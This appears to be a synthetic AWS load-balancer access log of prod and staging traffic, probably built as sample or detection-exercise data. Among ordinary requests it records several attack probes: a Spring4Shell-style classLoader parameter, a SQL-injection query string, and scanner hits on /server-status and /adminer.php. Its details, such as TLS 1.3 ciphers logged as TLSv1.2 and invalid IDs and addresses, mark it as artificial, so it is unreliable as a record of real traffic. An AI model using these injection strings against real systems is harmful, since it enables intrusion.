arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df62-270b82a13fce4b5ba8f53658" "prod-api-alb.example.com" "-" 2 2024-11-01T02:49:54.137862Z "forward" "-" "-" "10.0.77.159:443" "200" "-" "-" +https 2024-11-01T02:49:55.604791Z staging-alb 110.136.73.16:28135 99.208.78.248:443 0.039429 0.743212 0.144055 302 302 2 6143 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df63-74a6c60706a14c6994b42b96" "staging-alb.example.com" "-" 7 2024-11-01T02:49:55.604791Z "forward" "-" "-" "99.208.78.248:443" "302" "-" "-" +https 2024-11-01T02:49:56.564550Z staging-alb 44.193.166.144:20814 99.5.102.4:80 0.143964 0.334569 0.133378 302 302 133 12417 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df64-afdb4c077a4f4d1788793f98" "staging-alb.example.com" "-" 1 2024-11-01T02:49:56.564550Z "forward" "-" "-" "99.5.102.4:80" "302" "-" "-" +https 2024-11-01T02:49:57.419150Z prod-api-alb 182.160.160.238:62579 10.0.163.88:443 0.089201 0.040971 0.093840 301 301 971 12221 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df65-7a79385fd40b4e59abca28c0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:49:57.419150Z "forward" "-" "-" "10.0.163.88:443" "301" "-" "-" +http 2024-11-01T02:49:58.706226Z staging-alb 156.47.246.181:35423 252.221.19.152:443 0.027709 0.132901 0.068287 200 200 339 4165 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df66-ae8f39756b2945e7a3d3016e" "staging-alb.example.com" "-" 3 2024-11-01T02:49:58.706226Z "forward" "-" "-" "252.221.19.152:443" "200" "-" "-" +https 2024-11-01T02:50:00.673597Z prod-web-alb 200.155.236.231:22782 10.0.53.183:443 0.017084 0.353199 0.092746 302 302 721 6316 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df68-3dcb1e059b7e44f2b915c722" "prod-web-alb.example.com" "-" 2 2024-11-01T02:50:00.673597Z "forward" "-" "-" "10.0.53.183:443" "302" "-" "-" +https 2024-11-01T02:50:01.280377Z prod-web-alb 96.107.197.208:28619 10.0.232.91:443 0.081949 0.127700 0.030007 200 200 497 9331 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df69-35e1b13cdd30450bb23b3724" "prod-web-alb.example.com" "-" 8 2024-11-01T02:50:01.280377Z "forward" "-" "-" "10.0.232.91:443" "200" "-" "-" +https 2024-11-01T02:50:02.731198Z prod-web-alb 124.9.189.9:57487 10.0.42.112:443 0.000027 0.247715 0.037479 200 200 146 5940 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df6a-e843942c57a04f0cbc794a82" "prod-web-alb.example.com" "-" 6 2024-11-01T02:50:02.731198Z "forward" "-" "-" "10.0.42.112:443" "200" "-" "-" +http 2024-11-01T02:50:02.898338Z staging-alb 148.77.249.5:50401 219.103.130.19:80 0.064160 0.173206 0.003208 404 404 197 8974 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6a-21c4e36c17744c6dbb2d61b3" "staging-alb.example.com" "-" 0 2024-11-01T02:50:02.898338Z "forward" "-" "-" "219.103.130.19:80" "404" "-" "-" +https 2024-11-01T02:50:03.461906Z staging-alb 106.236.40.205:34082 130.219.229.178:443 0.126241 0.375507 0.041824 301 301 716 7860 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6b-a22526a062e74fdba13a9654" "staging-alb.example.com" "-" 4 2024-11-01T02:50:03.461906Z "forward" "-" "-" "130.219.229.178:443" "301" "-" "-" +https 2024-11-01T02:50:03.708886Z staging-alb 0.68.23.125:10240 143.235.2.249:80 0.040185 0.581835 0.140509 200 200 971 661 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df6b-3db76959006646f7adfc14f0" "staging-alb.example.com" "-" 1 2024-11-01T02:50:03.708886Z "forward" "-" "-" "143.235.2.249:80" "200" "-" "-" +https 2024-11-01T02:50:04.410831Z prod-web-alb 34.157.180.190:58605 10.0.22.214:443 0.072727 0.144729 0.034422 200 200 498 7055 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df6c-a7631811b9bd4981b47089b1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:50:04.410831Z "forward" "-" "-" "10.0.22.214:443" "200" "-" "-" +https 2024-11-01T02:50:04.982957Z prod-web-alb 82.142.186.7:34047 10.0.63.19:443 0.074656 0.109493 0.028857 200 200 973 12796 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df6c-678840f1574f43f18a4ca46c" "prod-web-alb.example.com" "-" 10 2024-11-01T02:50:04.982957Z "forward" "-" "-" "10.0.63.19:443" "200" "-" "-" +https 2024-11-01T02:50:06.371124Z staging-alb 185.181.125.99:45896 87.46.80.85:8080 0.108656 0.057587 0.016579 500 500 564 14940 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df6e-900e0e6098a34be0a9077a6f" "-" "-" 8 2024-11-01T02:50:06.371124Z "forward" "-" "-" "87.46.80.85:8080" "500" "-" "-" +https 2024-11-01T02:50:07.053045Z prod-api-alb 199.165.228.78:56905 10.0.154.32:443 0.057623 0.245186 0.088070 200 200 220 13421 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df6f-55b026fc841b42cabbe8b820" "prod-api-alb.example.com" "-" 8 2024-11-01T02:50:07.053045Z "forward" "-" "-" "10.0.154.32:443" "200" "-" "-" +https 2024-11-01T02:50:07.836407Z prod-api-alb 243.196.17.78:48223 10.0.74.244:443 0.088922 0.344508 0.084160 302 302 343 5230 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df6f-a998f3a367244572a9d4cdfc" "prod-api-alb.example.com" "-" 8 2024-11-01T02:50:07.836407Z "forward" "-" "-" "10.0.74.244:443" "302" "-" "-" +https 2024-11-01T02:50:07.939565Z prod-web-alb 56.62.110.11:33399 10.0.90.147:443 0.009695 0.107594 0.028092 200 200 863 7057 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df6f-8596b943f37d47d29c58ae1b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:50:07.939565Z "forward" "-" "-" "10.0.90.147:443" "200" "-" "-" +https 2024-11-01T02:50:08.658778Z staging-alb 45.155.205.176:11939 45.225.119.196:443 0.132849 0.663294 0.103550 404 404 519 5141 "GET /server-status HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df70-96b64a4c8b5b4b4cbcbce32e" "-" "-" 2 2024-11-01T02:50:08.658778Z "forward" "-" "-" "45.225.119.196:443" "404" "-" "-" +https 2024-11-01T02:50:09.974124Z prod-api-alb 186.72.154.49:59359 10.0.68.85:443 0.050185 0.329390 0.066725 200 200 911 368 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df71-42644d8438ac42549d2b759d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:09.974124Z "forward" "-" "-" "10.0.68.85:443" "200" "-" "-" +https 2024-11-01T02:50:10.233775Z prod-api-alb 146.221.248.173:43760 10.0.72.29:443 0.066386 0.407963 0.043915 200 200 547 4008 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df72-661b201c70154a6d8228709e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:10.233775Z "forward" "-" "-" "10.0.72.29:443" "200" "-" "-" +http 2024-11-01T02:50:11.459566Z staging-alb 133.76.39.173:17921 33.147.84.194:443 0.094323 0.441699 0.089391 200 200 752 12509 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df73-197778be0abc4fa3942d0a82" "staging-alb.example.com" "-" 9 2024-11-01T02:50:11.459566Z "forward" "-" "-" "33.147.84.194:443" "200" "-" "-" +https 2024-11-01T02:50:11.963546Z prod-web-alb 25.209.150.12:41807 10.0.225.102:443 0.043177 0.428221 0.065971 200 200 824 6337 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df73-ef10f2c7372f4bc4894e8a16" "prod-web-alb.example.com" "-" 0 2024-11-01T02:50:11.963546Z "forward" "-" "-" "10.0.225.102:443" "200" "-" "-" +https 2024-11-01T02:50:12.636361Z prod-api-alb 5.202.244.93:57886 10.0.41.114:443 0.064606 0.183370 0.064268 200 200 383 10982 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df74-7ef5e82a301f46c0af2750f5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:50:12.636361Z "forward" "-" "-" "10.0.41.114:443" "200" "-" "-" +https 2024-11-01T02:50:13.341070Z prod-api-alb 185.181.21.23:50553 10.0.215.182:443 0.053686 0.166106 0.030640 500 500 730 9280 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df75-4dc99f3a14ee4795ab1cb802" "-" "-" 8 2024-11-01T02:50:13.341070Z "forward" "-" "-" "10.0.215.182:443" "500" "-" "-" +https 2024-11-01T02:50:14.777689Z staging-alb 118.66.86.200:39590 56.77.23.240:80 0.067765 0.608856 0.108747 200 200 214 1627 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df76-7da688a0cf164534a8175780" "staging-alb.example.com" "-" 3 2024-11-01T02:50:14.777689Z "forward" "-" "-" "56.77.23.240:80" "200" "-" "-" +http 2024-11-01T02:50:16.145586Z staging-alb 170.220.131.167:32452 4.252.17.139:443 0.066884 0.549465 0.079790 302 302 650 9371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df78-d5345dc7a5e94e28bff037c6" "staging-alb.example.com" "-" 1 2024-11-01T02:50:16.145586Z "forward" "-" "-" "4.252.17.139:443" "302" "-" "-" +https 2024-11-01T02:50:16.625848Z staging-alb 226.57.18.227:59501 119.152.17.139:8080 0.110221 0.677390 0.076791 301 301 278 1945 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df78-60d2fdcccad748edafb1da1a" "-" "-" 0 2024-11-01T02:50:16.625848Z "forward" "-" "-" "119.152.17.139:8080" "301" "-" "-" +https 2024-11-01T02:50:17.220463Z prod-api-alb 55.254.50.129:57150 10.0.39.135:443 0.050086 0.152693 0.017940 200 200 346 7234 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df79-405ed30a0fc84aa9819a8d3c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:50:17.220463Z "forward" "-" "-" "10.0.39.135:443" "200" "-" "-" +https 2024-11-01T02:50:17.672467Z prod-api-alb 188.20.213.11:35173 10.0.207.212:443 0.063015 0.340013 0.042817 200 200 241 14253 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df79-a1ebdead2ec1467e8aef6dfd" "prod-api-alb.example.com" "-" 3 2024-11-01T02:50:17.672467Z "forward" "-" "-" "10.0.207.212:443" "200" "-" "-" +https 2024-11-01T02:50:19.175851Z prod-api-alb 193.27.228.79:59717 10.0.54.188:443 0.073839 0.193513 0.002954 301 301 507 6259 "POST /adminer.php HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df7b-a5cff5cdfa3f4d2ba8a75bec" "-" "-" 1 2024-11-01T02:50:19.175851Z "forward" "-" "-" "10.0.54.188:443" "301" "-" "-" +https 2024-11-01T02:50:19.610113Z staging-alb 217.167.45.7:20864 163.62.9.48:8080 0.075143 0.615737 0.065136 301 301 892 10201 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df7b-12e2f01c6f1142ec8eb17961" "staging-alb.example.com" "-" 9 2024-11-01T02:50:19.610113Z "forward" "-" "-" "163.62.9.48:8080" "301" "-" "-" +http 2024-11-01T02:50:19.867965Z staging-alb 75.44.19.4:23278 116.116.43.58:8080 0.080192 0.651821 0.067633 200 200 867 7209 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df7b-d32ea45af73a43ba81a64b04" "staging-alb.example.com" "-" 2 2024-11-01T02:50:19.867965Z "forward" "-" "-" "116.116.43.58:8080" "200" "-" "-" +https 2024-11-01T02:50:21.791723Z staging-alb 95.194.221.80:47741 210.206.144.186:443 0.133780 0.470130 0.031474 200 200 638 10787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df7d-c5682e07cdcd4264a5e20adb" "staging-alb.example.com" "-" 6 2024-11-01T02:50:21.791723Z "forward" "-" "-" "210.206.144.186:443" "200" "-" "-" +https 2024-11-01T02:50:22.693483Z prod-web-alb 139.15.5.93:58240 10.0.113.243:443 0.090303 0.114344 0.060878 404 404 51 6062 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df7e-192c4d085d1c4e46bfd25adf" "prod-web-alb.example.com" "-" 7 2024-11-01T02:50:22.693483Z "forward" "-" "-" "10.0.113.243:443" "404" "-" "-" +https 2024-11-01T02:50:24.463202Z staging-alb 2.6.24.75:46416 68.83.111.254:80 0.146389 0.410471 0.010214 200 200 182 9402 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df80-fe3bca64015644a7bb948de4" "staging-alb.example.com" "-" 10 2024-11-01T02:50:24.463202Z "forward" "-" "-" "68.83.111.254:80" "200" "-" "-" +https 2024-11-01T02:50:25.696303Z staging-alb 223.103.189.15:46315 162.97.92.58:80 0.116585 0.542540 0.066624 302 302 454 1706 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df81-2a581a5663f841c5abcc004a" "staging-alb.example.com" "-" 6 2024-11-01T02:50:25.696303Z "forward" "-" "-" "162.97.92.58:80" "302" "-" "-" +https 2024-11-01T02:50:27.310814Z prod-api-alb 183.111.25.59:13264 10.0.30.178:443 0.012925 0.199850 0.007359 200 200 566 12692 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df83-0f1d1a1ee6de4665ad146c25" "prod-api-alb.example.com" "-" 6 2024-11-01T02:50:27.310814Z "forward" "-" "-" "10.0.30.178:443" "200" "-" "-" +https 2024-11-01T02:50:28.693707Z prod-api-alb 101.11.30.198:48183 10.0.60.169:443 0.077701 0.111770 0.058360 200 200 127 4935 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df84-75efdb3d7943425c939fc2bf" "prod-api-alb.example.com" "-" 6 2024-11-01T02:50:28.693707Z "forward" "-" "-" "10.0.60.169:443" "200" "-" "-" +https 2024-11-01T02:50:29.834445Z prod-api-alb 142.57.78.217:37288 10.0.251.121:443 0.083380 0.421069 0.003315 301 301 406 7561 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df85-3fa92d460da34f868fe9ceac" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:29.834445Z "forward" "-" "-" "10.0.251.121:443" "301" "-" "-" +https 2024-11-01T02:50:30.068356Z staging-alb 216.61.8.250:19947 177.79.107.190:8080 0.044836 0.403868 0.112647 301 301 230 2464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df86-1cce66c25912494eb51041cc" "staging-alb.example.com" "-" 1 2024-11-01T02:50:30.068356Z "forward" "-" "-" "177.79.107.190:8080" "301" "-" "-" +https 2024-11-01T02:50:31.520743Z prod-web-alb 48.112.115.130:59091 10.0.181.141:443 0.076890 0.027199 0.005289 301 301 733 675 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df87-f8beff2becf74f7aba6b3450" "prod-web-alb.example.com" "-" 2 2024-11-01T02:50:31.520743Z "forward" "-" "-" "10.0.181.141:443" "301" "-" "-" +https 2024-11-01T02:50:33.065795Z prod-api-alb 158.200.48.222:33301 10.0.209.104:443 0.059478 0.084183 0.071448 200 200 509 13322 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df89-e38b6a51797b4a03a2603f11" "prod-api-alb.example.com" "-" 7 2024-11-01T02:50:33.065795Z "forward" "-" "-" "10.0.209.104:443" "200" "-" "-" +https 2024-11-01T02:50:35.016303Z prod-api-alb 224.223.4.149:22537 10.0.209.94:443 0.030992 0.005442 0.044608 200 200 688 3387 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df8b-84dcd87e86794f288b30edb9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:35.016303Z "forward" "-" "-" "10.0.209.94:443" "200" "-" "-" +https 2024-11-01T02:50:36.928747Z prod-web-alb 118.13.103.3:20518 10.0.154.240:443 0.077248 0.044839 0.086511 404 404 232 2994 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df8c-31b46b5eb9644527af4491f6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:50:36.928747Z "forward" "-" "-" "10.0.154.240:443" "404" "-" "-" +http 2024-11-01T02:50:38.050994Z staging-alb 26.35.251.181:59837 205.9.231.78:443 0.033950 0.710217 0.149008 301 301 280 7342 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df8e-4414940e609747b8b87b5f8b" "staging-alb.example.com" "-" 8 2024-11-01T02:50:38.050994Z "forward" "-" "-" "205.9.231.78:443" "301" "-" "-" +http 2024-11-01T02:50:38.852778Z staging-alb 224.51.7.173:64844 100.29.135.98:8080 0.114068 0.200363 0.109679 200 200 898 3689 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df8e-b1201e4f279c48178f110e47" "staging-alb.example.com" "-" 6 2024-11-01T02:50:38.852778Z "forward" "-" "-" "100.29.135.98:8080" "200" "-" "-" +https 2024-11-01T02:50:40.809720Z prod-web-alb 69.159.203.71:62340 10.0.31.52:443 0.092610 0.314543 0.079392 200 200 658 2110 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df90-687972fa40c6480a8ace1a5b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:50:40.809720Z "forward" "-" "-" "10.0.31.52:443" "200" "-" "-" +https 2024-11-01T02:50:41.791229Z prod-api-alb 206.230.51.88:42242 10.0.223.201:443 0.045580 0.309062 0.031875 200 200 639 4500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df91-69d55546f01e48b1b477004c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:41.791229Z "forward" "-" "-" "10.0.223.201:443" "200" "-" "-" 